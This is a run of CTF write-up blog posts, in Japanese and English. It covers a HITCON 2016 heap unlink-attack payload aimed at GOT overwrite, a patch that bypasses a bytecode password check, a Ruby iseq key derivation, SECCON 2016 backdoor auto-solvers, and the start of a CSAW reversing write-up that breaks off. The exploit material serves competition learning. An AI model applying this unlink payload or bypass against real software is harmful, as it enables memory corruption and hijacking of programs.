よって、XはX-0x18(スライドではX-0xC)を指すことが分かります。

以上がUnlink AttackによるXの書き換えの手順になります。 ポイントはXの指す先を自分でコントロールできなかったが、XをX-0x18に向かせたということです。 Xはsmall_secretなので、X-0x18はbig_secretです。 renew()とかいうバッファの内容を書き換える関数がありますから、renew(big)でbig_secretが指す値を書き換えることができます。 そして、big_secretが指す先はsmall_secretで書き換えることができます。 つまり、big_secretを中継して任意アドレスの内容を書き換えることができます。 書き換える対象はもちろんGOTです。(後編に続く)

別解

fastbinsのくだりなしで、Unlink Attackを成功する方法がHITCON CTF 2016 Quals -- Secret Holder « Hacking Tubeで紹介されている。

"""unlink attack"""
# X = small_secret
keep(small, "s"*8)
keep(big, "b"*8)
renew(huge, ''.join([
    # P2
    p64(0),                     # prev_size
    p64(0x21),                  # size
    p64(small_secret - 0x18),   # fd
    p64(small_secret - 0x10),   # bk
    # P                       
    p64(0x20),                  # prev_size
    p64(0x90),                  # size
    'B' * 0x80,
    p64(0x90),                  # prev_size
    p64(0x91),                  # size
    'C' * 0x80,
    p64(0x90),                  # prev_size
    p64(0x91),                  # size    
    ]))
wipe(big)                       # free(P) => unlink atack (X = X-0x18)

が、なぜこんなに偽チャンクが必要なのだろう?【ご意見募集中】

2016/10/28追記: inaz2さんがfastbinsなし版の解法をgistで公開しています。非常にシンプルでいいすね。

https://gist.github.com/inaz2/732487ee170be9d8d2adf9cb50fe8d35

後編

katc.hateblo.jp

参考文献

HITCON CTF 2016 Quals Writeup (Reverse: Handcrafted-pyc&ROP)

I participated in HITCON CTF 2016 Quals (2016/10/8-10/9; 48 hours) as a member of Ping-Mic (1 people).

I solved following plobrems in this time:

  • Handcrafted-pyc (Reverse 50 pts.)
  • ROP (Reverse 250 pts.)

My team result is 126th place (350 pts):

f:id:katc:20161010121602p:plain

# Gophers in the Shell めっちゃうけるんですけどww

Here's writeups.

Handcrafted-pyc (Reverse 50 pts.)

decompress.py to convert crackme.py to crackme.pyc:

import marshal, zlib, base64
import imp

b64d = base64.b64decode('eJyNVktv00AQXm/eL0igiaFA01IO4cIVCUGFBBJwqRAckLhEIQmtRfPwI0QIeio/hRO/hJ/CiStH2M/prj07diGRP43Hs9+MZ2fWMxbnP6mux+oK9xVMHPFViLdCTB0xkeKDFEFfTIU4E8KZq8dCvB4UlN3hGEsdddXU9QTLv1eFiGKGM4cKUgsFCNLFH7dFrS9poayFYmIZm1b0gyqxMOwJaU3r6xs9sW1ooakXuRv+un7Q0sIlLVzOCZq/XtsK2oTSYaZlStogXi1HV0iazoN2CV2HZeXqRQ54TlJRb7FUlKyUatISsdzo+P7UU1Gb1POdMruckepGwk9tIXQTftz2yBaT5JQovWvpSa6poJPuqgao+b9l5Aj/R+mLQIP4f6Q8Vb3g/5TB/TJxWGdZr9EQrmn99fwKtTvAZGU7wzS7GNpZpDm2JgCrr8wrmPoo54UqGampFIeS9ojXjc4E2yI06bq/4DRoUAc0nVnng4k6p7Ks0+j/S8z9V+NZ5dhmrJUM/y7JTJeRtnJ2TSYJvsFq3CQt/vnfqmQXt5KlpuRcIvDAmhnn2E0t9BJ3SvB/SfLWhuOWNiNVZ+h28g4wlwUp00w95si43rZ3r6+fUIEdgOZbQAsyFRRvBR6dla8KCzRdslar7WS+a5HFb39peIAmG7uZTHVm17Czxju4m6bayz8e7J40DzqM0jr0bmv9PmPvk6y5z57HU8wdTDHeiUJvBMAM4+0CpoAZ4BPgJeAYEAHmgAUgAHiAj4AVAGORtwd4AVgC3gEmgBBwCPgMWANOAQ8AbwBHgHuAp4D3gLuARwoGmNUizF/j4yDC5BWM1kNvvlxFA8xikRrBxHIUhutFMBlgQoshhPphGAXe/OggKqqb2cibxwuEXjUcQjccxi5eFRL1fDSbKrUhy2CMb2aLyepkegDWsBwPlrVC0/kLHmeCBQ==')
zd = zlib.decompress(b64d)
# open("marshal", "wb").write(zd)
ml = marshal.loads(zd)

with open('crackme.pyc','wb') as f:
    f.write(imp.get_magic() + b'\0' * 4 + zd)

disasm.py to disassemble:

# orig. http://nedbatchelder.com/blog/200804/the_structure_of_pyc_files.html
import dis, marshal, struct, sys, time, types

def show_file(fname):
    f = open(fname, "rb")
    magic = f.read(4)
    moddate = f.read(4)
    modtime = time.asctime(time.localtime(struct.unpack('I', moddate)[0]))
    print "magic %s" % (magic.encode('hex'))
    print "moddate %s (%s)" % (moddate.encode('hex'), modtime)
    code = marshal.load(f)
    show_code(code)
    
def show_code(code, indent=''):
    print "%scode" % indent
    indent += '   '
    print "%sargcount %d" % (indent, code.co_argcount)
    print "%snlocals %d" % (indent, code.co_nlocals)
    print "%sstacksize %d" % (indent, code.co_stacksize)
    print "%sflags %04x" % (indent, code.co_flags)
    show_hex("code", code.co_code, indent=indent)
    dis.disassemble(code)
    print "%sconsts" % indent
    for const in code.co_consts:
        if type(const) == types.CodeType:
            show_code(const, indent+'   ')
        else:
            print "   %s%r" % (indent, const)
    print "%snames %r" % (indent, code.co_names)
    print "%svarnames %r" % (indent, code.co_varnames)
    print "%sfreevars %r" % (indent, code.co_freevars)
    print "%scellvars %r" % (indent, code.co_cellvars)
    print "%sfilename %r" % (indent, code.co_filename)
    print "%sname %r" % (indent, code.co_name)
    print "%sfirstlineno %d" % (indent, code.co_firstlineno)
    show_hex("lnotab", code.co_lnotab, indent=indent)
    
def show_hex(label, h, indent):
    h = h.encode('hex')
    if len(h) < 60:
        print "%s%s %s" % (indent, label, h)
    else:
        print "%s%s" % (indent, label)
        for i in range(0, len(h), 60):
            print "%s   %s" % (indent, h[i:i+60])

show_file(sys.argv[1])

I found that password check routine can be bypassed by binary patching.

magic 03f30d0a
moddate 00000000 (Thu Jan  1 09:00:00 1970)
code
   argcount 0
   nlocals 0

... snipped ...
    
            737 LOAD_CONST               0 (None)
            740 NOP                 
            741 JUMP_ABSOLUTE          759
        >>  744 LOAD_GLOBAL              1 (raw_input)
            747 JUMP_ABSOLUTE         1480
        >>  750 LOAD_FAST                0 (password)
            753 COMPARE_OP               2 (==)
            756 JUMP_ABSOLUTE          767
        >>  759 ROT_TWO             
            760 STORE_FAST               0 (password)
            763 POP_TOP             
            764 JUMP_ABSOLUTE          744
        >>  767 POP_JUMP_IF_FALSE     1591
            770 LOAD_GLOBAL              0 (chr)
            773 LOAD_CONST              17 (99)

... snipped ...

So I replaced POP_JUMP_IF_FALSE 1591@767 to NOPs. We can check opecodes at CPython's opcode.h.

  • Bytecode of POP_JUMP_IF_FALSE 1591 is 114 (\x72).
  • Bytecode of 1591(0x637) is \x37\x06 (little endian).
  • Bytecode of NOP is 9 (\x09).

So replace 72 37 06 with 09 09 09 in crackme.pyc in my binary editor. I saved patched binary as crackme.patched.pyc.

binary patching

Finally, I got flag:

% python2 crackme.patched.pyc
password: bypassed
hitcon{Now you can compile and run Python bytecode in your brain!

flag = hitcon{Now you can compile and run Python bytecode in your brain!

ROP (Reverse 250 pts.)

Who doesn't like ROP? Let's try some new features introduced in 2.3.

First, I googled "iseq 2.3". I found that iseq is Ruby 2.3's feature and it is compiled by its Class: RubyVM::InstructionSequence. Second, i wrote this scripts to disassemble/run iseq file.

ROP.rb:

require 'iseq'

data = File.read('rop.iseq')
# data = Marshal.dump seq
# seq_loaded = Marshal.load data
# data = data.unpack("C*")
# puts data.class
new_iseq = RubyVM::InstructionSequence.load_from_binary data

if ARGV[0] == "disasm" then
    puts new_iseq.disasm
else
    new_iseq.eval
end

rop.sh:

#!/bin/sh
ruby ROP.rb

to disassemble: ruby ROP.rb disasm > ROP.disasm to run: ./rop.sh

Third, I hand decompiled iseq like following lines:

for main() ?:

0054 getglobal        $stdin
0056 opt_send_without_block <callinfo!mid:gets, argc:0, ARGS_SIMPLE>, <callcache>

line = gets(0)

0059 opt_send_without_block <callinfo!mid:chomp, argc:0, ARGS_SIMPLE>, <callcache>
0062 setlocal_OP__WC__0 3
0064 trace            1                                               (  39)
0066 getlocal_OP__WC__0 3
0068 putstring        "-"
0070 opt_send_without_block <callinfo!mid:split, argc:1, ARGS_SIMPLE>, <callcache>
0073 setlocal_OP__WC__0 2 # check
0075 trace            1                                               (  40)

check = line.split('-')

0077 getlocal_OP__WC__0 2
0079 opt_size         <callinfo!mid:size, argc:0, ARGS_SIMPLE>, <callcache>
0082 putobject        5
0084 opt_eq           <callinfo!mid:==, argc:1, ARGS_SIMPLE>, <callcache>
0087 branchif         94

if (size(check) == 5) {
    // at 94
}
else {
    gg() #game over
}

0094 trace            1                                               (  41)
0096 getlocal_OP__WC__0 2
0098 send             <callinfo!mid:all?, argc:0>, <callcache>, block in <compiled>

    == disasm: #<ISeq:block in <compiled>@<compiled>>=======================
    == catch table
    | catch type: redo   st: 0002 ed: 0011 sp: 0000 cont: 0002
    | catch type: next   st: 0002 ed: 0011 sp: 0000 cont: 0011
    |------------------------------------------------------------------------
    local table (size: 2, argc: 1 [opts: 0, rest: -1, post: 0, block: -1, kw: -1@-1, kwrest: -1])
    [ 2] x<Arg>     
    0000 trace            256                                             (  41)
    0002 trace            1
    0004 getlocal_OP__WC__0 2
    0006 putobject        /^[0-9A-F]{4}$/
    0008 opt_regexpmatch2 <callinfo!mid:=~, argc:1, ARGS_SIMPLE>, <callcache>
    0011 trace            512
    0013 leave     

0102 branchif         109

check.all?{|item| item ~= /^[0-9A-F]{4}$/} 

0109 trace            1                                               (  42)
0111 getlocal_OP__WC__0 2
0113 putobject_OP_INT2FIX_O_0_C_  # 0
0114 opt_aref         <callinfo!mid:[], argc:1, ARGS_SIMPLE>, <callcache>
0117 putobject        16
0119 opt_send_without_block <callinfo!mid:to_i, argc:1, ARGS_SIMPLE>, <callcache> # base=16
0122 putobject        31337
0124 opt_eq           <callinfo!mid:==, argc:1, ARGS_SIMPLE>, <callcache>
0127 branchif         134

if (check[0].to_i(16) == 31337) {
    // at 134
}   
else {
    gg()
}

0136 getlocal_OP__WC__0 2
0138 putobject_OP_INT2FIX_O_1_C_  # 1
0139 opt_aref         <callinfo!mid:[], argc:1, ARGS_SIMPLE>, <callcache>
0142 opt_send_without_block <callinfo!mid:reverse, argc:0, ARGS_SIMPLE>, <callcache>
0145 putstring        "FACE"
0147 opt_eq           <callinfo!mid:==, argc:1, ARGS_SIMPLE>, <callcache>
0150 branchif         157

if (check[1].reverse == "FACE") {
    // at 157
}
else {
    gg()
}

0157 trace            1                                               (  44)
0159 putself          
0160 putobject        217  # a := 217
0162 getlocal_OP__WC__0 2
0164 putobject        2
0166 opt_aref         <callinfo!mid:[], argc:1, ARGS_SIMPLE>, <callcache>
0169 putobject        16 
0171 opt_send_without_block <callinfo!mid:to_i, argc:1, ARGS_SIMPLE>, <callcache> # b := check[2].to_i(16)
0174 putobject        314159 # m := 314159
0176 opt_send_without_block <callinfo!mid:f, argc:3, FCALL|ARGS_SIMPLE>, <callcache> 

0179 putobject        28 # base=28
0181 opt_send_without_block <callinfo!mid:to_s, argc:1, ARGS_SIMPLE>, <callcache>
0184 opt_send_without_block <callinfo!mid:upcase, argc:0, ARGS_SIMPLE>, <callcache>
0187 putstring        "48D5"
0189 opt_eq           <callinfo!mid:==, argc:1, ARGS_SIMPLE>, <callcache>
0192 branchif         199

if (f(217, check[2].to_i(16), 314159).to_s(28).upcase == "48D5") {
    // at 199
}
else {
    gg()
}

>>> 0x48D5
18645

0201 getlocal_OP__WC__0 2
0203 putobject        3
0205 opt_aref         <callinfo!mid:[], argc:1, ARGS_SIMPLE>, <callcache>
0208 putobject        10 
0210 opt_send_without_block <callinfo!mid:to_i, argc:1, ARGS_SIMPLE>, <callcache> # base=10
0213 opt_send_without_block <callinfo!mid:prime_division, argc:0, ARGS_SIMPLE>, <callcache>
0216 putobject        :first # n.prime_division no first-item
0218 send             <callinfo!mid:map, argc:0, ARGS_BLOCKARG>, <callcache>, nil
0222 opt_send_without_block <callinfo!mid:sort, argc:0, ARGS_SIMPLE>, <callcache>
0225 duparray         [53, 97]
0227 opt_eq           <callinfo!mid:==, argc:1, ARGS_SIMPLE>, <callcache>
0230 branchif         237

if (Prime.first(check[3]) == [53,97]) { // check[3] = 53 * 97 = 5141
    // at 237
}
else {
    gg()
}

0239 getlocal_OP__WC__0 2 # xs
0241 send             <callinfo!mid:map, argc:0>, <callcache>, block in <compiled>  map

    == disasm: #<ISeq:block in <compiled>@<compiled>>=======================
    == catch table
    | catch type: redo   st: 0002 ed: 0011 sp: 0000 cont: 0002
    | catch type: next   st: 0002 ed: 0011 sp: 0000 cont: 0011
    |------------------------------------------------------------------------
    local table (size: 2, argc: 1 [opts: 0, rest: -1, post: 0, block: -1, kw: -1@-1, kwrest: -1])
    [ 2] x<Arg>     
    0000 trace            256                                             (  46)
    0002 trace            1
    0004 getlocal_OP__WC__0 2
    0006 putobject        16
    0008 opt_send_without_block <callinfo!mid:to_i, argc:1, ARGS_SIMPLE>, <callcache>
    0011 trace            512
    0013 leave  

0245 putobject        :^
0247 opt_send_without_block <callinfo!mid:inject, argc:1, ARGS_SIMPLE>, <callcache> xs.inject(:^)
0250 opt_send_without_block <callinfo!mid:to_s, argc:0, ARGS_SIMPLE>, <callcache>
0253 opt_send_without_block <callinfo!mid:sha1, argc:0, ARGS_SIMPLE>, <callcache>
0256 putstring        "947d46f8060d9d7025cc5807ab9bf1b3b9143304"
0258 opt_eq           <callinfo!mid:==, argc:1, ARGS_SIMPLE>, <callcache>
0261 branchif         268

// http://sha1.gromweb.com/?hash=947d46f8060d9d7025cc5807ab9bf1b3b9143304
// sha1("5671") = "947d46f8060d9d7025cc5807ab9bf1b3b9143304"
if (sha1(check.map{|item| item.to_i(16)}.inject(:^)) == "947d46f8060d9d7025cc5807ab9bf1b3b9143304") { 
    // congratz
}

for f():

== disasm: #<ISeq:f@<compiled>>=========================================
== catch table
| catch type: break  st: 0021 ed: 0086 sp: 0000 cont: 0086
| catch type: next   st: 0021 ed: 0086 sp: 0000 cont: 0018
| catch type: redo   st: 0021 ed: 0086 sp: 0000 cont: 0021
|------------------------------------------------------------------------
local table (size: 6, argc: 3 [opts: 0, rest: -1, post: 0, block: -1, kw: -1@-1, kwrest: -1])
[ 6] a<Arg>     [ 5] b<Arg>     [ 4] m<Arg>     [ 3] s          [ 2] r          
0000 trace            8                                               (  27)
0002 trace            1                                               (  28)
0004 putobject_OP_INT2FIX_O_1_C_ # 1
0005 setlocal_OP__WC__0 3 <s> 

s = 1

0007 trace            1                                               (  29)
0009 getlocal_OP__WC__0 6 <a>
0011 setlocal_OP__WC__0 2 <r>

r = a

0013 trace            1                                               (  30)
0015 jump             75
0017 putnil           
0018 pop              
0019 jump             75

0075 getlocal_OP__WC__0 5   <b>                                          (  30)
0077 putobject_OP_INT2FIX_O_0_C_  # 0
0078 opt_neq          <callinfo!mid:!=, argc:1, ARGS_SIMPLE>, <callcache>, <callinfo!mid:==, argc:1, ARGS_SIMPLE>, <callcache>
0083 branchif         21

if (b != 0) {
    // at 21
}
else {
    return s 
}

0021 trace            1                                               (  31)
0023 getlocal_OP__WC__0 5 <b>
0025 putobject_OP_INT2FIX_O_0_C_ # = 0
0026 opt_aref         <callinfo!mid:[], argc:1, ARGS_SIMPLE>, <callcache> # b[0]
0029 putobject_OP_INT2FIX_O_1_C_ # = 1
0030 opt_eq           <callinfo!mid:==, argc:1, ARGS_SIMPLE>, <callcache>
0033 branchunless     49

if (b[0] != 1) {
    // at 49
}

0035 getlocal_OP__WC__0 3 <s>
0037 getlocal_OP__WC__0 2 <r>
0039 opt_mult         <callinfo!mid:*, argc:1, ARGS_SIMPLE>, <callcache>
0042 getlocal_OP__WC__0 4 <m>
0044 opt_mod          <callinfo!mid:%, argc:1, ARGS_SIMPLE>, <callcache>
0047 setlocal_OP__WC__0 3 <s>

s = s * r % m

0049 trace            1                                               (  32)
0051 getlocal_OP__WC__0 5 <b>
0053 putobject_OP_INT2FIX_O_1_C_ # = 1
0054 opt_send_without_block <callinfo!mid:>>, argc:1, ARGS_SIMPLE>, <callcache>
0057 setlocal_OP__WC__0 5 <b>

b = b >> 1

0059 trace            1                                               (  33)
0061 getlocal_OP__WC__0 2 <r>
0063 getlocal_OP__WC__0 2 <r>
0065 opt_mult         <callinfo!mid:*, argc:1, ARGS_SIMPLE>, <callcache>
0068 getlocal_OP__WC__0 4 <m>
0070 opt_mod          <callinfo!mid:%, argc:1, ARGS_SIMPLE>, <callcache>
0073 setlocal_OP__WC__0 2 <r>

r = r * r % m

0075 getlocal_OP__WC__0 5   <b>                                          (  30)
0077 putobject_OP_INT2FIX_O_0_C_  # 0
0078 opt_neq          <callinfo!mid:!=, argc:1, ARGS_SIMPLE>, <callcache>, <callinfo!mid:==, argc:1, ARGS_SIMPLE>, <callcache>
0083 branchif         21

if (b != 0) { // b = 16, 8, 4, 2, 1, 0
    // at 21
}
else {
    return s 
}

----

0085 putnil           
0086 pop              
0087 trace            1                                               (  35)
0089 getlocal_OP__WC__0 3 <s> return s 
0091 trace            16                                              (  36)
0093 leave                   

to get check[2], check[4] (xs[2], x[4]), i wrote f.rb and final.rb:

f.rb:

def f(a, b, m)
    s = 1
    r = a
    while b != 0 do
        if b[0] == 1 then
            s = s * r % m
        end
        b = b >> 1
        r = r * r % m
    end
    return s
end

(1..314159).each{|i|
    if f(217, i, 314159).to_s(28).upcase == "48D5" then
        puts "found"
        puts i.to_s(16) # hex(i)
    end
}

"""result
% ruby f.rb
found
1bd2
"""

final.rb:

require 'iseq'

xs = [31337.to_s(16), "FACE".reverse, "1bd2", "5141"]

# puts RubyVM::InstructionSequence.compile("puts xs.map{|item| item.inject(:^)}.to_s").disasm()

# a ^ b ^ c ^ d ^ x = e 
# x = e ^ (a ^ b ^ c ^ d)
result = xs.map{|item| item.to_i(16)}.inject(:^)
final = (result ^ 5671).to_s(16)

key = (xs + [final]).join('-').upcase
puts key

puts (xs + [final]).map{|item| item.to_i(16)}.inject(:^)

p IO.popen("./run.sh", "r+") {|io|
    io.puts key
    io.close_write
    io.gets
}

Finally, i got flag:

% ruby final.rb
7A69-ECAF-1BD2-5141-CA72
5671
"Congratz! flag is hitcon{ROP = Ruby Obsecured Programming ^_<}\n"

flag = hitcon{ROP = Ruby Obsecured Programming ^_<}


This CTF was good for me ^_^ Thanks!

SECCON2016 大阪大会(アツマレバイナリアン)ひとり反省会

アツマレトモリナオということで友利奈緒ちゃんたちと「イーグルジャンプ」というチームで出場しました。

メンバー:

  • ぴんく (@PINKSAWTOOTH)
  • たけまる (@tkmru)
  • しゅうすい (@syusui_s)

結果は、

結果はたぶん8位 自分は全然だめだった・・・ 自動化まで完成させて点を取ってくれたチームメイトに感謝。

SECCON2016 大阪大会参加してきた・・・(だめ) - Twitterに書ききれないこと

圧倒的実装力不足!(普段pythonを書かなすぎている…><)
自動化して得点を入れ始めたのが終了40分前だったので、submitできたのは800点くらい。
# 競技時間は3時間

チームメイトの参加記はこちら:

pinksawtooth.hatenablog.com

問題構成

reversing、pwnの2種類×難易度で2種類の4種類。フラグ1つ100点。

resersingパートはbackdoorをモチーフにした問題。特定の入力をするとサーバーがフラグを教えてくれる。 pwnパートはほぼやってないので説明を省略する。

難易度が低い方は、5分に1回バイナリとフラグが変わる。 難易度が高い方は、1秒に1回バイナリとフラグが変わる。 1秒以内に解かないといけないというけではなく、コネクションが維持できている一定時間内であればサーバーに入力を与えることができる。

解いた問題

backdoor (easy)

概要

ぴんくと一緒に解析した。
入力文字列の後ろから1文字ずつxorしてgood_knownと比較しているだけ

(ここで例に挙げるバイナリのmd5sumは242cecd67fc91dc1457c045d23e5baa9

00000000004001b0         lea        rdi, qword [ss:rbp-0xb]
00000000004001b4         push       0xb
00000000004001b6         push       rdi
00000000004001b7         push       0x0
00000000004001b9         call       sub_400239
00000000004001be         add        rsp, 0x18
00000000004001c2         mov        ecx, 0xb
00000000004001c7         lea        rdi, qword [ss:rbp-0xb]
00000000004001cb         movabs     rsi, 0x400212

                                       ; Basic Block Registers Used: rcx rsi rdi - Defined: rax rbx rip CPAZSO - Killed: <nothing> - LiveIn: rcx rsp rbp rsi rdi - LiveOut: rcx rsp rbp rsi rdi rip - AvailIn: rax rcx rip CPAZSO - AvailOut: rax rcx rbx rip CPAZSO
00000000004001d5         mov        al, byte [ds:rdi+rcx-1]                     ; XREF=EntryPoint+89
00000000004001d9         mov        bl, byte [ds:rsi+rcx-1]
00000000004001dd         xor        al, 0x5a
00000000004001df         cmp        al, bl
00000000004001e1         jne        0x4001f4
0000000000400212         db  0xc7 ; '.'                                         ; XREF=EntryPoint+62
0000000000400213         db  0xc9 ; '.'
0000000000400214         db  0x4a ; 'J'
0000000000400215         db  0x5f ; '_'
0000000000400216         db  0xa0 ; '.'
0000000000400217         db  0x28 ; '('
0000000000400218         db  0xb2 ; '.'
0000000000400219         db  0x61 ; 'a'
000000000040021a         db  0x97 ; '.'
000000000040021b         db  0x23 ; '#'
000000000040021c         db  0xab ; '.'

結果だけ書くと、rsigood_knownecxに文字列長、rdiにユーザー入力が入るのでreversing技術とobjdumpゴリ押しで自動化可能と分かった。

できた自動回答プログラム

backdoor.py:

from pwn import *
from hexdump import hexdump
import os
import hashlib
import re
import base64

r = remote("10.0.1.2", 10000)
# r.sendline("")
data = r.recvrepeat(1).split('\n')
info = data[0]
print info
binary_b64 = data[1].split(':')[1]
# print binary_b64
binary = binary_b64.decode("base64")
hexdump(binary)

file_name = hashlib.md5(binary).hexdigest()
log.info(file_name)
with open(file_name, 'wb') as f:
    f.write(binary)
os.system("chmod +x " + file_name)

proc = subprocess.Popen(["./find.sh", file_name], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
out, _ = proc.communicate()
print out
good_known = int(out, 16)
print "good_known = %#x" % good_known

proc = subprocess.Popen(["./xor.sh", file_name], stderr=subprocess.PIPE, stdout=subprocess.PIPE)
out, _ = proc.communicate()
print "xor out = %r" % out
xor_key = int(out, 16)
print "xor key = %x" % xor_key

proc = subprocess.Popen(["./length.sh", file_name], stderr=subprocess.PIPE, stdout=subprocess.PIPE)
out, err = proc.communicate()
length = int(out.split('\n',)[0], 16)
print "length = %x" % length

_from = good_known & 0xfff
print "offset = %#x" % _from
lbinary = list(binary)
print "good_known = " + str(lbinary[_from:_from+length])
good_known = lbinary[_from:_from+length]

import string

flag = ""
# good_known = "\xa5\x59\x2e\x80\x0a\x19\xfc\x33\x5b"

# ↓ xorしてるから同じ手順で平文を得られるのになんで全探索してるんですかねぇ…
length = len(good_known) # ←はじめに文字列長をベタ書きしていて、手動で解こうとしてたぴんくの時間を無駄にしてしまった
for i in reversed(range(length)):
    # for c in string.printable: # ←誤った思い込み良くない
    for c in range(256):
        # al = ord(c)
        al = c
        bl = ord(good_known[i])
        if al ^ xor_key == bl:
            flag = chr(c) + flag
            # print "%r" % flag  
            break

if len(flag) == length:
    print "flag = %r" % flag
else:
    print "[!] incorrect flag. exit"
    exit()

payload = base64.b64encode(flag+'\n')

r.sendline(payload)
flag_output = r.recvrepeat(1)
FLAG = flag_output.split(':')[1]

rs = remote('10.0.1.1', 10000)
rs.sendline("EagleJump " + FLAG)
print rs.recvrepeat(1)

# r.interactive()

find.sh:

#!/bin/sh
objdump -Mintel  -d $1 | grep -B 2 "mov    al,BYTE" | head -n 1 | awk -F, '{print $2}'

# objdump -Mintelと書くことの重要性!(alias対策)

xor.sh:

#!/bin/sh
objdump -Mintel -d $1 | egrep "xor" | awk -F, '{print $2}'

length.sh:

#!/bin/sh
objdump -Mintel -d $1 | egrep "mov    ecx" | awk -F, '{print $2}'

backdoor (hard) ※本番では解けていない

(敗因)secretがstringsで引っかかるのに気づかなかった&angr.pyというファイル名を付けて自爆

方針:

  • strings -txでsecretのアドレスを調べる
  • objdumpとgrepをゴリ押しして、secretを文字列として格納しているBasic Blockを探す
    • 正確にはangrに渡すfindのアドレスはBasic Blockの先頭アドレスでもないが、exploreでは問題にならない
import logging
logging.basicConfig(level=logging.ERROR)
import angr
import subprocess
import os, sys

def main(BIN):
    # BIN = "30506f9aa41ca3067d7568539a7267e8"
    with open('find_secret.sh', 'w') as f:
        f.write("""
    str_addr=`strings -tx $1 | grep secret | egrep -o "[0-9]+"`
    objdump -Mintel -d $1 | grep 0x400${str_addr} | awk -F: '{print $1}' | tr -d ' '
            """)
    p = angr.Project(BIN, load_options={'auto_load_libs': False})

    proc = subprocess.Popen(["bash", "find_secret.sh", BIN], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
    out, _ = proc.communicate()
    find_addr = int(out, 16)

    print "[*] find address = %#x" % find_addr

    initial_state = p.factory.entry_state()
    pg = p.factory.path_group(initial_state)
    ex = pg.explore(find=(find_addr))

    if len(ex.found):
        INPUT = ex.found[0].state.posix.dumps(0) # dump stdin
        print "[*] found: %r" % INPUT 
        print "[*] self check"
        with open("secret", 'w') as f:
            content = "this_is_secret"
            print "[*] content of secret is '%s'" % content
            f.write(content)
        os.system("python2 -c \"print('%s')\" | ./%s" % (INPUT, BIN))
    else:
        print "[!] not found"
    print ""

if __name__ == '__main__':
    if len(sys.argv) != 2:
        print "usage: %s binary_file" % sys.argv[0]
        exit()
    main(sys.argv[1])

実行例:

% time python2 backdoor2-angr.py 30506f9aa41ca3067d7568539a7267e8
[*] find address = 0x400271
[*] found: '\xacD\xd5.c:\xd0\xe5'
[*] self check
[*] content of secret is 'this_is_secret'
this_is_secret
python2 backdoor2-angr.py 30506f9aa41ca3067d7568539a7267e8  8.21s user 0.16s system 99% cpu 8.395 total

感想

  • 問題は面白かった。簡単だが、問題がコロコロ変わるの最高ー!

よかったこと

とあるプロにとっては当たり前なのかもしれないけど

  • 競技説明中に、落としてきたバイナリを保存するプログラムを書いておけた
  • pwntoolsでサーバーとやり取りするという安定の方法をとれた
  • バイナリの名前をmd5のsum値で保存することで、ファイルを受け渡すことなく一緒になって同じバイナリを解析することが容易だった
    • 同じタイミングでバイナリを落とせば、md5が一致することを根拠に同じバイナリを落とせたことを確認できる
  • 大会前にangrを入門できた(のに…)

反省点(やらかし列伝)

無能ミス連発

  • Hopperからでangrを動かせるプラグインを事前に作ったものの、正答の入力が印字可能文字の範囲内という制約式を付けてしまっていたため、angrで簡単には解けないとミスジャッジ
    • 実際には簡単に解ける(gif)
  • angrで解くpythonスクリプトを書いたが、ファイル名をangr.pyにして、スクリプト内のimport angrで自分をimportさせる馬鹿をした
    • これをチームメイトのぴんくもやっていた
    • 数日潰してまでめっちゃangrに入門したのに〜ぃ
  • 普段、objdump -Mintelobjdumpにaliasしていて、スクリプトobjdumpと読んでもintel記法にはならない→grepで期待したアセンブリが引っかからない
  • pythonで配列のスライスはarr[from:to]というように、開始から終了までのインデックスを指定するものなのに、arr[offset:length]というようなオフセットから数文字とると勘違いしていた
  • シェルスクリプトで解析対象のファイル名を引数で取るつもりが、ファイル名をベタ書きしていて時間を無駄にした
  • HopperやIDA Proの解析ミスり気味だった。それで粘るのではなく、objdumpやstringsゴリ押しで効率よく解析すべきだったか?(grep xorとか?)
  • xorで全探索で求めてるの無能気味では

学んだこと

  • pythonスクリプトを、そこでimportするモジュールと同じ名前にしてはならない
  • シェルでバイナリから特定の情報を取るなど複雑なことをしたいときは、シェルスクリプトで作っておくとチェックとコーディングが楽(今回でいうとfind.sh, xor.sh, length.sh) or 小学生に煽られてでもpythonでcommands(python2のみ)のようなモジュールを使うとよい
  • pwntoolsのような特殊なモジュールを使うと他のチームメイトが実行できない可能性がある or 事前にチームメイト間の環境を揃える
  • aliasを普段のシェルで無効化したほうが事故を防げそう
  • grep-A-Bオプションクソ便利
  • カレントディレクトリにangr.pyangr.pycというファイルがあると、import angrに無言の死を遂げる

おまけ

本番1週間前ぐらいに、angrで解いてくれるHopper Script書きました。
Ping-Micのtool置き場(GitHub)に上げてあります。

Hopperでbackdoor(hard)を秒殺(?)してみた

youtu.be

他の人にひとこと

angrの出力を見て、成功したか成功しなかったのかを判断するのはangrの流儀に反してると思います。(確かにそれでも解けますけど…)
PathGroup.explore()でfindを指定しない、State.add_constrains()しないでdeadendするまで動かしてその時の標準出力を見るのは探索効率が非常に悪いです。


あんだけ本番でガンガンangr使えるように練習したのに、ファイル名が原因でangr使えなかったのは、本当に勝機を逃しすぎてる…
angr.pyというファイル名はダメ、絶対!

CSAW CTF 2016 Quals - deedeedee (Rev150) writeup

2016/10/17〜18の2日間開催されたCSAW CTF 16 Qualsに参加しました。 結果はやる気を疑われるレベルの点数でしたが、本番が終わった今日はinterestingな問題を解き直していました。 今回は執筆時点で運営以外のwriteupが上がってない deedeedee (Reversing 150 pts.) という問題のWriteupを書きます。

おことわり:僕はD言語もconstexprもよく知りません。基本feelingで読みました><

問題

Wow! I can run code at compile time! That's a pretty cool way to keep my flags secret. Hopefully I didn't leave any clues behind...

配布ファイルなど

Your hexencoded, encrypted flag is: 676c60677a74326d716c6074325f6c6575347172316773616c6d686e665f68735e6773385e345e3377657379316e327d
I generated it at compile time. :)
Can you decrypt it for me?

第一印象

  • ユーザー入力の余地がない
    • angrとかの出番はまず無さそう
  • flagがバイナリに無く、encryptはコンパイル時計算によるもの
    • よく見るとencryptされた文字列っぽいものはある(当然)
  • コンパイル時計算といえはc++
    • 実際はD言語のtempleteとかmixin

→無理ゲーでは?

方針

CTFの問題は、ブルートフォースが必要だとしても、必ず開催期間内に解けるようになっているので、 ちゃんとバイナリを読んだ上で負いきれない部分をブルートフォースするようにしますかね。 enrypt()がどのようにされたのかというヒントがバイナリに残っていないと解けないと思うので、 バイナリに残っている関数を丁寧に見たほうが良さそうです。

あと、最初はc++で書かれてるのかな(例のconstexpr?)と思いましたが、運営のgitリポジトリを見る限りD言語で書かれてますねソースコードと思考過程が全く辿れないwriteupが公開されてるので解析の手がかりに使いたいと思います。

以下、readelf -hです。

% reedelf -h deedeedee
ELF ヘッダ:
